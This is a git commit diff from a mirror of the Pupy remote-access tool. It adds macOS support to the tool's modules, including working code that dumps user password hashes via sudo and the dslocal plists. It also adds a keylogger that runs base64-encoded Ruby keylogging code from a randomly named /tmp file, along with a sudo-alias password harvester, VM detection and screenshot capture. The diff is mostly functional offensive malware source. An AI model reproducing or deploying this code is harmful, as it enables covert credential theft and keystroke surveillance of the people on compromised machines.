mirror of https://github.com/n1nj4sec/pupy.git
Merge branch 'master' of https://github.com/AlessandroZ/pupy
This commit is contained in:
commit
ee4b16b026
|
@ -6,7 +6,7 @@ from modules.lib.windows.powershell_upload import execute_powershell_script
|
|||
__class_name__="CheckVM"
|
||||
ROOT=os.path.abspath(os.path.join(os.path.dirname(__file__),".."))
|
||||
|
||||
@config(compat=['linux', 'windows'], category="gather")
|
||||
@config(category="gather")
|
||||
class CheckVM(PupyModule):
|
||||
""" check if running on Virtual Machine """
|
||||
|
||||
|
@ -29,3 +29,12 @@ class CheckVM(PupyModule):
|
|||
self.success('This appears to be a %s virtual machine' % vm)
|
||||
else:
|
||||
self.success('This does not appear to be a virtual machine')
|
||||
elif self.client.is_darwin():
|
||||
self.client.load_package("checkvm")
|
||||
self.info('Be patient, could take a while')
|
||||
vm = self.client.conn.modules["checkvm"].checkvm()
|
||||
if vm:
|
||||
self.success('This appears to be a %s virtual machine' % vm)
|
||||
else:
|
||||
self.success('This does not appear to be a virtual machine')
|
||||
|
||||
|
|
|
@ -34,7 +34,7 @@ from modules.lib.windows.creddump.win32.lsasecrets import get_file_secrets
|
|||
|
||||
__class_name__="CredDump"
|
||||
|
||||
@config(cat="creds", compatibilities=['windows', 'linux'], tags=['creds',
|
||||
@config(cat="creds", compatibilities=['windows', 'linux', 'darwin'], tags=['creds',
|
||||
'credentials', 'password', 'gather', 'hives'])
|
||||
class CredDump(PupyModule):
|
||||
|
||||
|
@ -52,8 +52,25 @@ class CredDump(PupyModule):
|
|||
|
||||
if self.client.is_windows():
|
||||
self.windows()
|
||||
else:
|
||||
elif self.client.is_linux():
|
||||
self.linux()
|
||||
elif self.client.is_darwin():
|
||||
self.darwin()
|
||||
|
||||
def darwin(self):
|
||||
self.client.load_package("hashdump")
|
||||
hashes = self.client.conn.modules["hashdump"].hashdump()
|
||||
if hashes:
|
||||
db = Credentials()
|
||||
db.add([
|
||||
{'Hash':hsh[1], 'Login': hsh[0], 'Category': 'System hash', 'uid':self.client.short_name(), 'CredType': 'hash'} for hsh in hashes
|
||||
])
|
||||
for hsh in hashes:
|
||||
self.log('{}'.format(hsh))
|
||||
|
||||
self.success("Hashes stored on the database")
|
||||
else:
|
||||
self.error('no hashes found')
|
||||
|
||||
def linux(self):
|
||||
known = set()
|
||||
|
@ -123,6 +140,8 @@ class CredDump(PupyModule):
|
|||
|
||||
for hsh in hashes:
|
||||
self.log('{}'.format(hsh))
|
||||
|
||||
self.success("Hashes stored on the database")
|
||||
|
||||
def windows(self):
|
||||
# First, we download the hives...
|
||||
|
|
|
@ -1,10 +1,11 @@
|
|||
# -*- coding: utf-8 -*-
|
||||
from pupylib.PupyModule import *
|
||||
from pupylib.utils.term import colorize
|
||||
from modules.lib.utils.shell_exec import shell_exec
|
||||
|
||||
__class_name__="Drives"
|
||||
|
||||
@config(compat=[ 'linux', 'windows' ], category='admin')
|
||||
@config(category='admin')
|
||||
class Drives(PupyModule):
|
||||
""" List valid drives in the system """
|
||||
|
||||
|
@ -158,3 +159,6 @@ class Drives(PupyModule):
|
|||
output.append('')
|
||||
|
||||
self.stdout.write('\n'.join(output))
|
||||
|
||||
elif self.client.is_darwin():
|
||||
self.log(shell_exec(self.client, 'df -H'))
|
|
@ -14,7 +14,7 @@ from pupylib.utils.rpyc_utils import redirected_stdio
|
|||
|
||||
__class_name__="KeyloggerModule"
|
||||
|
||||
@config(cat="gather", compat=["linux", "windows"])
|
||||
@config(cat="gather", compat=["linux", "darwin", "windows"])
|
||||
class KeyloggerModule(PupyModule):
|
||||
"""
|
||||
A keylogger to monitor all keyboards interaction including the clipboard :-)
|
||||
|
@ -43,8 +43,8 @@ class KeyloggerModule(PupyModule):
|
|||
self.error("the keylogger is already started")
|
||||
else:
|
||||
self.success("keylogger started !")
|
||||
# not tested on android
|
||||
else:
|
||||
|
||||
elif self.client.is_linux():
|
||||
with redirected_stdio(self.client.conn): #to see the output exception in case of error
|
||||
r = self.client.conn.modules["keylogger"].keylogger_start()
|
||||
if r == 'no_x11':
|
||||
|
@ -54,6 +54,16 @@ class KeyloggerModule(PupyModule):
|
|||
else:
|
||||
self.success("keylogger started !")
|
||||
|
||||
# for Mac OS
|
||||
elif self.client.is_darwin():
|
||||
r = self.client.conn.modules["keylogger"].keylogger_start()
|
||||
if r == 'running':
|
||||
self.error("the keylogger is already started")
|
||||
elif not r:
|
||||
self.error("the keylogger cannot be launched")
|
||||
else:
|
||||
self.success("keylogger started !")
|
||||
|
||||
elif args.action=="dump":
|
||||
try:
|
||||
os.makedirs(os.path.join("data","keystrokes"))
|
||||
|
@ -62,8 +72,10 @@ class KeyloggerModule(PupyModule):
|
|||
|
||||
if self.client.is_windows():
|
||||
data=self.client.conn.modules["pupwinutils.keylogger"].keylogger_dump()
|
||||
else:
|
||||
elif self.client.is_linux():
|
||||
data=self.client.conn.modules["keylogger"].keylogger_dump()
|
||||
elif self.client.is_darwin():
|
||||
data=self.client.conn.modules["keylogger"].keylogger_dump()
|
||||
|
||||
if data is None:
|
||||
self.error("keylogger not started")
|
||||
|
@ -79,7 +91,9 @@ class KeyloggerModule(PupyModule):
|
|||
elif args.action=="stop":
|
||||
if self.client.is_windows():
|
||||
stop = self.client.conn.modules["pupwinutils.keylogger"].keylogger_stop()
|
||||
else:
|
||||
elif self.client.is_linux():
|
||||
stop = self.client.conn.modules["keylogger"].keylogger_stop()
|
||||
elif self.client.is_darwin():
|
||||
stop = self.client.conn.modules["keylogger"].keylogger_stop()
|
||||
|
||||
if stop:
|
||||
|
|
|
@ -1,9 +1,10 @@
|
|||
# -*- coding: UTF8 -*-
|
||||
from pupylib.PupyModule import *
|
||||
import subprocess
|
||||
|
||||
__class_name__="PupyMod"
|
||||
|
||||
@config(compat="windows", cat="manage", tags=["lock", "screen", "session"])
|
||||
@config(compat=["windows", "darwin"], cat="manage", tags=["lock", "screen", "session"])
|
||||
class PupyMod(PupyModule):
|
||||
""" Lock the session """
|
||||
|
||||
|
@ -11,8 +12,13 @@ class PupyMod(PupyModule):
|
|||
self.arg_parser = PupyArgumentParser(prog="lock_screen", description=self.__doc__)
|
||||
|
||||
def run(self, args):
|
||||
if self.client.conn.modules['ctypes'].windll.user32.LockWorkStation():
|
||||
ok = False
|
||||
if self.client.is_windows():
|
||||
ok = self.client.conn.modules['ctypes'].windll.user32.LockWorkStation()
|
||||
elif self.client.is_darwin():
|
||||
ok = self.client.conn.modules.subprocess.Popen('/System/Library/CoreServices/Menu\ Extras/User.menu/Contents/Resources/CGSession -suspend', stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE, shell=True)
|
||||
|
||||
if ok:
|
||||
self.success("windows locked")
|
||||
else:
|
||||
self.error("couldn't lock the screen")
|
||||
|
||||
|
|
|
@ -3,7 +3,7 @@ from pupylib.PupyModule import *
|
|||
|
||||
__class_name__="MsgBoxPopup"
|
||||
|
||||
@config(compat=["windows", "linux"], cat="troll", tags=["message","popup"])
|
||||
@config(cat="troll", tags=["message","popup"])
|
||||
class MsgBoxPopup(PupyModule):
|
||||
""" Pop up a custom message box """
|
||||
dependencies = {
|
||||
|
@ -19,7 +19,10 @@ class MsgBoxPopup(PupyModule):
|
|||
def run(self, args):
|
||||
if self.client.is_windows():
|
||||
self.client.conn.modules['pupwinutils.msgbox'].MessageBox(args.text, args.title)
|
||||
else:
|
||||
elif self.client.is_linux():
|
||||
self.client.conn.modules['notify'].notification(args.text, args.title)
|
||||
elif self.client.is_darwin():
|
||||
cmd = 'osascript -e \'tell app "Finder" to display dialog "%s"\'' % args.text
|
||||
self.client.conn.modules.os.popen(cmd)
|
||||
|
||||
self.log("message box popped !")
|
||||
|
|
|
@ -18,7 +18,7 @@ import ntpath
|
|||
|
||||
__class_name__="PSExec"
|
||||
|
||||
@config(cat="admin",compat=["linux", "windows"])
|
||||
@config(cat="admin")
|
||||
class PSExec(PupyModule):
|
||||
""" Launch remote commands using smbexec or wmiexec"""
|
||||
max_clients=1
|
||||
|
|
|
@ -1,46 +1,51 @@
|
|||
# -*- coding: UTF8 -*-
|
||||
# -*- coding: utf-8 -*-
|
||||
|
||||
# --------------------------------------------------------------
|
||||
# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)
|
||||
# All rights reserved.
|
||||
#
|
||||
# Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
|
||||
#
|
||||
# 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
|
||||
#
|
||||
# 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
|
||||
#
|
||||
# 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.
|
||||
#
|
||||
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE
|
||||
# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu) All rights reserved.
|
||||
#
|
||||
# Redistribution and use in source and binary forms, with or without
|
||||
# modification, are permitted provided that the following conditions are met:
|
||||
#
|
||||
# 1. Redistributions of source code must retain the above copyright notice,
|
||||
# this list of conditions and the following disclaimer.
|
||||
#
|
||||
# 2. Redistributions in binary form must reproduce the above copyright notice,
|
||||
# this list of conditions and the following disclaimer in the documentation
|
||||
# and/or other materials provided with the distribution.
|
||||
#
|
||||
# 3. Neither the name of the copyright holder nor the names of its contributors
|
||||
# may be used to endorse or promote products derived from this software without
|
||||
# specific prior written permission.
|
||||
#
|
||||
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
|
||||
# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
||||
# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
|
||||
# ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE
|
||||
# LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
|
||||
# CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
|
||||
# SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
|
||||
# INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
|
||||
# CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
|
||||
# ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
|
||||
# POSSIBILITY OF SUCH DAMAGE
|
||||
# --------------------------------------------------------------
|
||||
|
||||
from pupylib.PupyModule import *
|
||||
import os
|
||||
import os.path
|
||||
import textwrap
|
||||
import logging
|
||||
from os import path
|
||||
|
||||
import time
|
||||
import datetime
|
||||
from zlib import compress, crc32
|
||||
import struct
|
||||
import subprocess
|
||||
|
||||
__class_name__="Screenshoter"
|
||||
|
||||
def pil_save(filename, pixels, width, height):
|
||||
from PIL import Image, ImageFile
|
||||
buffer_len = (width * 3 + 3) & -4
|
||||
img = Image.frombuffer('RGB', (width, height), pixels, 'raw', 'BGR', buffer_len, 1)
|
||||
ImageFile.MAXBLOCK = width * height
|
||||
img=img.transpose(Image.FLIP_TOP_BOTTOM)
|
||||
img.save(filename, quality=95, optimize=True, progressive=True)
|
||||
logging.info('Screenshot saved to %s'%filename)
|
||||
__class_name__="screenshoter"
|
||||
|
||||
|
||||
@config(cat="gather", compat="windows")
|
||||
class Screenshoter(PupyModule):
|
||||
@config(cat="gather")
|
||||
class screenshoter(PupyModule):
|
||||
""" take a screenshot :) """
|
||||
|
||||
dependencies = ['mss', 'screenshot']
|
||||
|
||||
def init_argparse(self):
|
||||
self.arg_parser = PupyArgumentParser(prog='screenshot', description=self.__doc__)
|
||||
self.arg_parser.add_argument('-e', '--enum', action='store_true', help='enumerate screen')
|
||||
|
@ -48,29 +53,33 @@ class Screenshoter(PupyModule):
|
|||
self.arg_parser.add_argument('-v', '--view', action='store_true', help='directly open the default image viewer on the screenshot for preview')
|
||||
|
||||
def run(self, args):
|
||||
try:
|
||||
os.makedirs(os.path.join("data","screenshots"))
|
||||
except Exception:
|
||||
pass
|
||||
self.client.load_package("pupwinutils.screenshot")
|
||||
screens=None
|
||||
if args.screen is None:
|
||||
screens=self.client.conn.modules['pupwinutils.screenshot'].enum_display_monitors(oneshot=True)
|
||||
else:
|
||||
screens=self.client.conn.modules['pupwinutils.screenshot'].enum_display_monitors()
|
||||
rscreenshot = self.client.conn.modules['screenshot']
|
||||
if args.enum:
|
||||
res=""
|
||||
for i, screen in enumerate(screens):
|
||||
res+="{:<3}: {}\n".format(i,screen)
|
||||
return res
|
||||
if args.screen is None:
|
||||
args.screen=0
|
||||
selected_screen=screens[args.screen]
|
||||
screenshot_pixels=self.client.conn.modules["pupwinutils.screenshot"].get_pixels(selected_screen)
|
||||
filepath=os.path.join("data","screenshots","scr_"+self.client.short_name()+"_"+str(datetime.datetime.now()).replace(" ","_").replace(":","-")+".jpg")
|
||||
pil_save(filepath, screenshot_pixels, selected_screen["width"], selected_screen["height"])
|
||||
if args.view:
|
||||
subprocess.Popen([self.client.pupsrv.config.get("default_viewers", "image_viewer"),filepath])
|
||||
self.success("screenshot saved to %s"%filepath)
|
||||
self.rawlog('{:>2} {:>9} {:>9}\n'.format('IDX', 'SIZE', 'LEFT'))
|
||||
for i, screen in enumerate(rscreenshot.screens()):
|
||||
if not (screen['width'] and screen['height']):
|
||||
continue
|
||||
|
||||
self.rawlog('{:>2}: {:>9} {:>9}\n'.format(
|
||||
i,
|
||||
'{}x{}'.format(screen['width'], screen['height']),
|
||||
'({}x{})'.format(screen['top'], screen['left'])))
|
||||
return
|
||||
|
||||
screenshots, error = rscreenshot.screenshot(args.screen)
|
||||
if not screenshots:
|
||||
self.error(error)
|
||||
else:
|
||||
self.success('number of monitor detected: %s' % str(len(screenshots)))
|
||||
|
||||
for screenshot in screenshots:
|
||||
filepath = path.join("data","screenshots","scr_"+self.client.short_name()+"_"+str(datetime.datetime.now()).replace(" ","_").replace(":","-")+".png")
|
||||
with open(filepath, 'w') as out:
|
||||
out.write(screenshot)
|
||||
# sleep used to be sure the file name will be different between 2 differents screenshots
|
||||
time.sleep(1)
|
||||
self.success(filepath)
|
||||
|
||||
# if args.view:
|
||||
# viewer = config.get('default_viewers', 'image_viewer')
|
||||
# subprocess.Popen([viewer, output])
|
||||
|
|
|
@ -10,12 +10,14 @@ __class_name__="ShellExec"
|
|||
@config(cat="admin")
|
||||
class ShellExec(PupyModule):
|
||||
""" execute shell commands on a remote system """
|
||||
|
||||
def init_argparse(self):
|
||||
self.arg_parser = PupyArgumentParser(prog='shell_exec', description=self.__doc__)
|
||||
self.arg_parser.add_argument('-s', '--shell', help="default to /bin/sh on linux or cmd.exe on windows")
|
||||
self.arg_parser.add_argument('argument', help='use unix like syntax and put simple quotes if there is multiple arguments')
|
||||
self.arg_parser.add_argument('-H', '--hide', action='store_true', help='launch process on background (only for windows)')
|
||||
self.arg_parser.add_argument('-log', help='Save log to file (when not background process)')
|
||||
|
||||
def run(self, args):
|
||||
if not args.hide:
|
||||
log = shell_exec(self.client, args.argument, shell=args.shell)
|
||||
|
@ -23,7 +25,7 @@ class ShellExec(PupyModule):
|
|||
if args.log:
|
||||
with open(args.log, 'wb') as output:
|
||||
output.write(log)
|
||||
else:
|
||||
elif args.hide and self.client.is_windows():
|
||||
try:
|
||||
self.client.load_package("psutil")
|
||||
self.client.load_package("pupwinutils.processes")
|
||||
|
@ -32,3 +34,5 @@ class ShellExec(PupyModule):
|
|||
self.success("Process created with pid %s" % p.pid)
|
||||
except Exception, e:
|
||||
self.error("Error creating the process: %s" % e)
|
||||
else:
|
||||
self.error('--hide option works only for Windows hosts')
|
||||
|
|
|
@ -4,7 +4,7 @@ from pupylib.utils.rpyc_utils import redirected_stdio
|
|||
|
||||
__class_name__="SSH"
|
||||
|
||||
@config(compat=['linux', 'windows'], cat="admin")
|
||||
@config(cat="admin")
|
||||
class SSH(PupyModule):
|
||||
""" ssh client """
|
||||
|
||||
|
|
|
@ -4,7 +4,7 @@ from pupylib.utils.credentials import Credentials
|
|||
|
||||
__class_name__="SudoAlias"
|
||||
|
||||
@config(compat='linux', cat="admin")
|
||||
@config(compat=['linux', 'darwin'], cat="admin")
|
||||
class SudoAlias(PupyModule):
|
||||
""" write an alias for sudo to retrieve user password """
|
||||
|
||||
|
|
|
@ -0,0 +1,69 @@
|
|||
# -*- coding: utf-8 -*-
|
||||
import mss
|
||||
import struct
|
||||
|
||||
from zlib import compress, crc32
|
||||
|
||||
def _to_png(data, width, height):
|
||||
|
||||
# From MSS
|
||||
line = width * 3
|
||||
png_filter = struct.pack('>B', 0)
|
||||
scanlines = b''.join(
|
||||
[png_filter + data[y * line:y * line + line] for y in range(height)]
|
||||
)
|
||||
magic = struct.pack('>8B', 137, 80, 78, 71, 13, 10, 26, 10)
|
||||
|
||||
# Header: size, marker, data, CRC32
|
||||
ihdr = [b'', b'IHDR', b'', b'']
|
||||
ihdr[2] = struct.pack('>2I5B', width, height, 8, 2, 0, 0, 0)
|
||||
ihdr[3] = struct.pack('>I', crc32(b''.join(ihdr[1:3])) & 0xffffffff)
|
||||
ihdr[0] = struct.pack('>I', len(ihdr[2]))
|
||||
|
||||
# Data: size, marker, data, CRC32
|
||||
idat = [b'', b'IDAT', compress(scanlines), b'']
|
||||
idat[3] = struct.pack('>I', crc32(b''.join(idat[1:3])) & 0xffffffff)
|
||||
idat[0] = struct.pack('>I', len(idat[2]))
|
||||
|
||||
# Footer: size, marker, None, CRC32
|
||||
iend = [b'', b'IEND', b'', b'']
|
||||
iend[3] = struct.pack('>I', crc32(iend[1]) & 0xffffffff)
|
||||
iend[0] = struct.pack('>I', len(iend[2]))
|
||||
|
||||
return b''.join([
|
||||
magic,
|
||||
b''.join(ihdr),
|
||||
b''.join(idat),
|
||||
b''.join(iend)
|
||||
])
|
||||
|
||||
def screens():
|
||||
screenshoter = mss.mss()
|
||||
monitors = screenshoter.enum_display_monitors()
|
||||
return monitors[1:] if len(monitors) > 1 else monitors
|
||||
|
||||
def screenshot(screen=None):
|
||||
screenshoter = mss.mss()
|
||||
screenshots = []
|
||||
|
||||
monitors = screenshoter.enum_display_monitors()
|
||||
del monitors[0]
|
||||
|
||||
if len(monitors) == 0:
|
||||
return None
|
||||
|
||||
if screen:
|
||||
if screen < len(monitors):
|
||||
return None, 'the screen id does not exist'
|
||||
else:
|
||||
monitors = [monitors[screen]]
|
||||
|
||||
for monitor in monitors:
|
||||
screenshots.append(
|
||||
_to_png(
|
||||
screenshoter.get_pixels(monitor),
|
||||
monitor['width'], monitor['height']
|
||||
)
|
||||
)
|
||||
|
||||
return screenshots, None
|
|
@ -0,0 +1,23 @@
|
|||
import subprocess
|
||||
import os
|
||||
|
||||
def checkvm():
|
||||
# check existing dir
|
||||
dirs = [
|
||||
'~/Library/Logs/VMWare',
|
||||
'~/Library/Logs/VMWare Fusion/'
|
||||
]
|
||||
|
||||
for d in dirs:
|
||||
if os.path.isdir(os.path.expanduser(d)):
|
||||
return 'VMWare'
|
||||
|
||||
p = subprocess.Popen('system_profiler', stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE, shell=True)
|
||||
output, err = p.communicate()
|
||||
if output:
|
||||
if 'VMWare' in output:
|
||||
return 'VMWare'
|
||||
elif 'VirtualBox' in output:
|
||||
return 'VirtualBox'
|
||||
|
||||
return None
|
|
@ -0,0 +1,31 @@
|
|||
# Inspired from https://github.com/EmpireProject/EmPyre/blob/master/lib/modules/collection/osx/hashdump.py
|
||||
import os
|
||||
import base64
|
||||
from xml.etree import ElementTree
|
||||
|
||||
def getUserHash(userName):
|
||||
try:
|
||||
raw = os.popen('sudo defaults read /var/db/dslocal/nodes/Default/users/%s.plist ShadowHashData|tr -dc 0-9a-f|xxd -r -p|plutil -convert xml1 - -o - 2> /dev/null' %(userName)).read()
|
||||
if len(raw) > 100:
|
||||
root = ElementTree.fromstring(raw)
|
||||
children = root[0][1].getchildren()
|
||||
entropy64 = ''.join(children[1].text.split())
|
||||
iterations = children[3].text
|
||||
salt64 = ''.join(children[5].text.split())
|
||||
entropyRaw = base64.b64decode(entropy64)
|
||||
entropyHex = entropyRaw.encode("hex")
|
||||
saltRaw = base64.b64decode(salt64)
|
||||
saltHex = saltRaw.encode("hex")
|
||||
return (userName, "$ml$%s$%s$%s" %(iterations, saltHex, entropyHex))
|
||||
except Exception as e:
|
||||
print "getUserHash() exception: %s" %(e)
|
||||
pass
|
||||
|
||||
def hashdump():
|
||||
userNames = [ plist.split(".")[0] for plist in os.listdir('/var/db/dslocal/nodes/Default/users/') if not plist.startswith('_')]
|
||||
userHashes = []
|
||||
for userName in userNames:
|
||||
userHash = getUserHash(userName)
|
||||
if userHash:
|
||||
userHashes.append(getUserHash(userName))
|
||||
return userHashes
|
|
@ -0,0 +1,192 @@
|
|||
import os
|
||||
import time
|
||||
import base64
|
||||
import subprocess
|
||||
import string
|
||||
import random
|
||||
|
||||
pid = int()
|
||||
logFile = ''
|
||||
|
||||
# ruby code from metasploit
|
||||
# https://github.com/rapid7/metasploit-framework/blob/master/modules/post/osx/capture/keylog_recorder.rb
|
||||
def get_ruby_code():
|
||||
return '''
|
||||
require 'thread'
|
||||
require 'dl'
|
||||
require 'dl/import'
|
||||
Importer = if defined?(DL::Importer) then DL::Importer else DL::Importable end
|
||||
def ruby_1_9_or_higher?
|
||||
RUBY_VERSION.to_f >= 1.9
|
||||
end
|
||||
def malloc(size)
|
||||
if ruby_1_9_or_higher?
|
||||
DL::CPtr.malloc(size)
|
||||
else
|
||||
DL::malloc(size)
|
||||
end
|
||||
end
|
||||
if not ruby_1_9_or_higher?
|
||||
module DL
|
||||
module Importable
|
||||
def method_missing(meth, *args, &block)
|
||||
str = meth.to_s
|
||||
lower = str[0,1].downcase + str[1..-1]
|
||||
if self.respond_to? lower
|
||||
self.send lower, *args
|
||||
else
|
||||
super
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
SM_KCHR_CACHE = 38
|
||||
SM_CURRENT_SCRIPT = -2
|
||||
MAX_APP_NAME = 80
|
||||
module Carbon
|
||||
extend Importer
|
||||
dlload '/System/Library/Frameworks/Carbon.framework/Carbon'
|
||||
extern 'unsigned long CopyProcessName(const ProcessSerialNumber *, void *)'
|
||||
extern 'void GetFrontProcess(ProcessSerialNumber *)'
|
||||
extern 'void GetKeys(void *)'
|
||||
extern 'unsigned char *GetScriptVariable(int, int)'
|
||||
extern 'unsigned char KeyTranslate(void *, int, void *)'
|
||||
extern 'unsigned char CFStringGetCString(void *, void *, int, int)'
|
||||
extern 'int CFStringGetLength(void *)'
|
||||
end
|
||||
psn = malloc(16)
|
||||
name = malloc(16)
|
||||
name_cstr = malloc(MAX_APP_NAME)
|
||||
keymap = malloc(16)
|
||||
state = malloc(8)
|
||||
itv_start = Time.now.to_i
|
||||
prev_down = Hash.new(false)
|
||||
lastWindow = ""
|
||||
while (true) do
|
||||
Carbon.GetFrontProcess(psn.ref)
|
||||
Carbon.CopyProcessName(psn.ref, name.ref)
|
||||
Carbon.GetKeys(keymap)
|
||||
str_len = Carbon.CFStringGetLength(name)
|
||||
copied = Carbon.CFStringGetCString(name, name_cstr, MAX_APP_NAME, 0x08000100) > 0
|
||||
app_name = if copied then name_cstr.to_s else 'Unknown' end
|
||||
bytes = keymap.to_str
|
||||
cap_flag = false
|
||||
ascii = 0
|
||||
ctrlchar = ""
|
||||
(0...128).each do |k|
|
||||
if ((bytes[k>>3].ord >> (k&7)) & 1 > 0)
|
||||
if not prev_down[k]
|
||||
case k
|
||||
when 36
|
||||
ctrlchar = "[enter]"
|
||||
when 48
|
||||
ctrlchar = "[tab]"
|
||||
when 49
|
||||
ctrlchar = " "
|
||||
when 51
|
||||
ctrlchar = "[delete]"
|
||||
when 53
|
||||
ctrlchar = "[esc]"
|
||||
when 55
|
||||
ctrlchar = "[cmd]"
|
||||
when 56
|
||||
ctrlchar = "[shift]"
|
||||
when 57
|
||||
ctrlchar = "[caps]"
|
||||
when 58
|
||||
ctrlchar = "[option]"
|
||||
when 59
|
||||
ctrlchar = "[ctrl]"
|
||||
when 63
|
||||
ctrlchar = "[fn]"
|
||||
else
|
||||
ctrlchar = ""
|
||||
end
|
||||
if ctrlchar == "" and ascii == 0
|
||||
kchr = Carbon.GetScriptVariable(SM_KCHR_CACHE, SM_CURRENT_SCRIPT)
|
||||
curr_ascii = Carbon.KeyTranslate(kchr, k, state)
|
||||
curr_ascii = curr_ascii >> 16 if curr_ascii < 1
|
||||
prev_down[k] = true
|
||||
if curr_ascii == 0
|
||||
cap_flag = true
|
||||
else
|
||||
ascii = curr_ascii
|
||||
end
|
||||
elsif ctrlchar != ""
|
||||
prev_down[k] = true
|
||||
end
|
||||
end
|
||||
else
|
||||
prev_down[k] = false
|
||||
end
|
||||
end
|
||||
if ascii != 0 or ctrlchar != ""
|
||||
if app_name != lastWindow
|
||||
puts "\n\n[#{app_name}] - [#{Time.now}]\n"
|
||||
lastWindow = app_name
|
||||
end
|
||||
if ctrlchar != ""
|
||||
print "#{ctrlchar}"
|
||||
elsif ascii > 32 and ascii < 127
|
||||
c = if cap_flag then ascii.chr.upcase else ascii.chr end
|
||||
print "#{c}"
|
||||
else
|
||||
print "[#{ascii}]"
|
||||
end
|
||||
$stdout.flush
|
||||
end
|
||||
Kernel.sleep(0.01)
|
||||
end'''
|
||||
|
||||
def keylogger_start():
|
||||
global pid
|
||||
global logFile
|
||||
|
||||
if logFile:
|
||||
if os.path.exists(logFile):
|
||||
return 'running'
|
||||
|
||||
base64_ruby_code = base64.b64encode(get_ruby_code())
|
||||
|
||||
randname=''.join([random.choice(string.ascii_lowercase) for i in range(0,random.randint(6,12))])
|
||||
logFile = '/tmp/{name}'.format(name=randname)
|
||||
cmd = 'echo "require \'base64\';eval(Base64.decode64(\'%s\'))" | ruby > %s &' % (base64_ruby_code, logFile)
|
||||
os.popen(cmd)
|
||||
time.sleep(1)
|
||||
|
||||
# get process id
|
||||
try:
|
||||
pid = os.popen('ps aux | grep " ruby" | grep -v grep').read().split()[1]
|
||||
except:
|
||||
pass
|
||||
|
||||
print logFile
|
||||
print pid
|
||||
return True
|
||||
|
||||
def keylogger_stop():
|
||||
global logFile
|
||||
|
||||
# remove log file
|
||||
if os.path.exists(logFile):
|
||||
# kill keylogger process
|
||||
cmd = 'kill %s' % str(pid)
|
||||
subprocess.Popen(cmd.split(' '), stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
|
||||
|
||||
os.remove(logFile)
|
||||
logFile = ''
|
||||
return True
|
||||
else:
|
||||
return False
|
||||
|
||||
def keylogger_dump():
|
||||
if not os.path.exists(logFile):
|
||||
return None
|
||||
|
||||
buffer = open(logFile, 'r').read()
|
||||
|
||||
# clean file
|
||||
file = open(logFile, 'w').write('')
|
||||
|
||||
return buffer
|
|
@ -0,0 +1 @@
|
|||
../linux/all/ptyshell.py
|
|
@ -0,0 +1 @@
|
|||
../linux/all/sudo_alias.py
|
|
@ -109,7 +109,7 @@ class Credentials(object):
|
|||
break
|
||||
|
||||
# print only data with password and remove false positive
|
||||
if c['password'] and len(c['password']) < 150:
|
||||
if c['password']:
|
||||
if (dataToSearch and found) or not dataToSearch:
|
||||
if (tmp_uid != c['uid']) and isSorted:
|
||||
tmp_uid = c['uid']
|
||||
|
|
|
@ -2,9 +2,9 @@ rpyc
|
|||
pycrypto
|
||||
pefile
|
||||
pyyaml
|
||||
image
|
||||
rsa
|
||||
netaddr
|
||||
ecdsa==0.13
|
||||
paramiko==2.0.2
|
||||
netifaces
|
||||
mss
|
Loading…
Reference in New Issue